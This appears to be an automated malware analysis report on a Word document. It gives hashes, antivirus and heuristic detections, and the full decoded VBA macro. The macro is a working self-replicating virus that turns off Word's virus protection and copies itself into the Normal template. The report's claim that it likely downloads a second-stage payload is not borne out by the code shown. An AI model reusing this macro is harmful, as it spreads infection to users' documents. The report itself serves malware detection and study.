Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e5507c477ac778ea…

MALICIOUS

Office (OLE)

121.5 KB Created: 2020-04-30 09:19:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: ebe99412e8061e1b8036b293a2afef48 SHA-1: aa1ec3cdc3695bb8594ce67c1a961de6053c36ac SHA-256: e5507c477ac778eaf5b2b44b7f8923af68244a8659760caf3c4a52cd59defb84
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro designed to execute malicious code. The macro attempts to overwrite itself with new code and likely downloads a second-stage payload, as indicated by the 'APMPKILL' string and the general behavior of such macros. The document body itself appears to be benign administrative text, suggesting the malicious functionality is solely within the macro.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.wps.cn/officeDocument/2013/wpsCustomData In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1093 bytes
SHA-256: 07cd951e274ef58528f1ff0c595006d5455b8ba90c916e0bc6935d55b92907c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TYEntity1, 0, 0, ZYCTYPLUSLib, TYEntity"
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub